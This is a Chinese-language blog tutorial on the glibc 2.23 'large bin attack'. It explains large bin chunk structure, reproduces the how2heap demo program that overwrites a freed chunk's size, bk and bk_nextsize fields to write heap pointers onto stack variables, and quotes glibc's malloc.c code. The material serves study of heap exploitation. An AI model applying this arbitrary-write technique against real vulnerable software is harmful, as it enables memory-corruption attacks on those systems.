本文最后更新于 2024年10月18日 晚上
largebin_attack large_bin Large Bin large bin中一共包括63个bin,每个bin中的chunk大小不一致,而是出于一定区间范围内。此外这63个bin被分成了6组,每组bin中的chunk之间的公差一致
Large chunk的微观结构 大于512(1024)字节的chunk称之为large chunk,large bin就是用于管理这些large chunk的
被释放进Large Bin中的chunk,除了以前经常见到的prev_size、size、fd、bk之外,还具有fd_nextsize和bk_nextsize:
fd_nextsize,bk_nextsize:用于较大的chunk(large chunk)
fd_nextsize指向前一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针,fd指向与当前chunk相同大小的前一个空闲块
bk_nextsize指向后一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针,bk指向与当前chunk相同大小的后一个空闲块
一般空闲的large chunk在fd的遍历顺序中,按照由大到小的顺序排列。这样可以避免在寻找合适chunk时挨个遍历
一个大于0x3f0的chunk被释放后挂进largebin
Large Bin的插入顺序 在index相同的情况下:
按照大小,从大到小排序(小的链接large bin块)
如果大小相同,按照free的时间排序
多个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
size最大的chunk的bk_nextsize指向最小的chunk,size最小的chunk的fd_nextsize指向最大的chunk
假设我们一次free实际大小为0x400,0x410,0x420,0x420,0x430,0x430可以得到下面这幅图
原理 我们用howheap2的源码来演示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 2 #include <stdio.h> 3 #include <stdlib.h> 4 5 int main () 6 { 7 8 unsigned long stack_var1 = 0 ; 9 unsigned long stack_var2 = 0 ; 10 11 fprintf (stderr , "stack_var1 (%p): %ld\n" , &stack_var1, stack_var1); 12 fprintf (stderr , "stack_var2 (%p): %ld\n\n" , &stack_var2, stack_var2); 13 14 unsigned long *p1 = malloc (0x320 ); 15 malloc (0x20 ); 16 unsigned long *p2 = malloc (0x400 ); 17 malloc (0x20 ); 18 unsigned long *p3 = malloc (0x400 ); 19 malloc (0x20 ); 20 21 free (p1); 22 free (p2); 23 24 void * p4 = malloc (0x90 ); 25 26 free (p3); 27 28 p2[-1 ] = 0x3f1 ; 29 p2[0 ] = 0 ; 30 p2[2 ] = 0 ; 31 p2[1 ] = (unsigned long )(&stack_var1 - 2 ); 32 p2[3 ] = (unsigned long )(&stack_var2 - 4 ); 33 34 malloc (0x90 ); 35 36 fprintf (stderr , "stack_var1 (%p): %p\n" , &stack_var1, (void *)stack_var1); 37 fprintf (stderr , "stack_var2 (%p): %p\n" , &stack_var2, (void *)stack_var2); 38 39 return 0 ; 40 }
简单解释一下程序,它先是定义了两个变量赋值为0,接着申请三个大小为0x320和0x400的chunk,中间申请的小chunk是为了防止合并,随后释放p1,p2,接着申请一个0x90的chunk,释放掉p3,接下来改变p2的size域,让他比p3小,然后将fd和fd_nextsize指针置空,把bk指向stack_var1-0x10,把bk_nextsize指向stack_var-0x20,最后申请0x90的chunk并打印两个变量的指针
调试 接下里我们一步步调试
直接断点到释放p1,p2
可以看到两个chunk被挂进了unsortedbin,但实际还可以细分,p1应该是属于smallbin的,p2是属于largebin的,unsorted bin只是一个过渡作用
此时申请一个0x90的chunk,别看很简单,实际上经历了多个步骤
根据大小把p2放进largebin,并标注largebin有空闲块
同样的把p1放进smallbin,并标注smallbin有空闲块
在smallbin中拿出一个chunk截取0x90满足申请
把剩下的chunk放入unsortedbin中
接着释放p3,并且修改p2的数据
可以看到,有五处内容被修改:
size部分由原来的0x411修改成0x3f1(重点※※※※※) fd部分置空(不超过一个地址位长度的数据都可以) bk由0x7ffff7dd1f68修改成了stack_var1_addr - 0x10(0x7fffffffdf18) fd_nextsize置空(不超过一个地址位长度的数据都可以) bk_nextsize修改成stack_var2_addr - 0x20(0x7fffffffdf10)
那么此时largebin的实际效果就是
bk_nextsize导致的地址任意写 那么接下来是再一次申请0x90的chunk并把p3挂进largebin
此时会根据p2和p3的大小来决定那个chunk更接近越接近large bin,越小越接近,即执行下面的代码
在2.23的glibc中的malloc.c文件中,比较的过程如下:
这里的条件是当前从unsorted bin中拿出的chunk的size是否小于large bin中前一个被释放chunk的size,如果小于,则执行while循环中的流程,但是很明显,我们修改了p2的size域,所以此时的p2是比p3大的,所以这个代码不会执行,直接进入接下里的判断
显然这两个chunk也不相等,下一个就是比较P3_size > P2_size
的情况了
还记得我们前面是修改了p2的bk,和bk_next的,也就下面
1 2 P2->bk->fd<==>stack_var1_addr(P2的fd指向的堆块的fd指向的是stack_var1的地址) P2->bk_nextsize->fd_nextsize<==>stack_var2_addr的地址(P2的bk_nextsize指向的堆块的fd_nextsize指向的是stack_var2的地址)
而上面的比较的代码可以解读为下面的情况
1 2 3 4 5 6 7 8 else { P3-> fd_nextsize = P2; P3-> bk_nextsize = P2-> bk_nextsize; P2-> bk_nextsize = P3; P3-> bk_nextsize-> fd_nextsize = P3; } bck = P2-> bk;
可能有点绕,那么我们一行行来看
因为P3->bk_nextsize = P2->bk_nextsize
又因为P2->bk_nextsize->fd_nextsize<==>stack_var2_addr
所以P3->bk_nextsize->fd_nextsize<==>stack_var2_addr
又因为P3->bk_nextsize->fd_nextsize = P3
所以stack_var2_addr=P3
大概fd/bk_nextsize的制定大概就是这么个流程
bk导致的地址任意写 在执行完对P3和P2的fd_nextsize和bk_nextsize的制定之后,还需要对两个large chunk的fd和bk
进行制定:
上面的代码可以解释如下
1 2 3 4 5 mark_bin(av, victim_index); P3->bk = p2->bk; P3->fd = P2; P2->bk = P3; P2->bk->fd = P3;
同理stack_var1_addr=P3
查看修改结果
最后我们将直接运行程序至结束,再一次查看一下此时stack_var1和stack_var2中的值
可以看到两个变量的值已经变成p3的指针了
malloc.c中从unsorted bin中摘除chunk完整过程代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; }else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert ((bck->bk->size & NON_MAIN_ARENA) == 0 ); if ((unsigned long ) (size) < (unsigned long ) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert ((fwd->size & NON_MAIN_ARENA) == 0 ); while ((unsigned long ) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0 ); } if ((unsigned long ) size == (unsigned long ) fwd->size) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
参考文章 Large Bin Attack-wiki
好好说话之Large Bin Attack
浅析largebin attack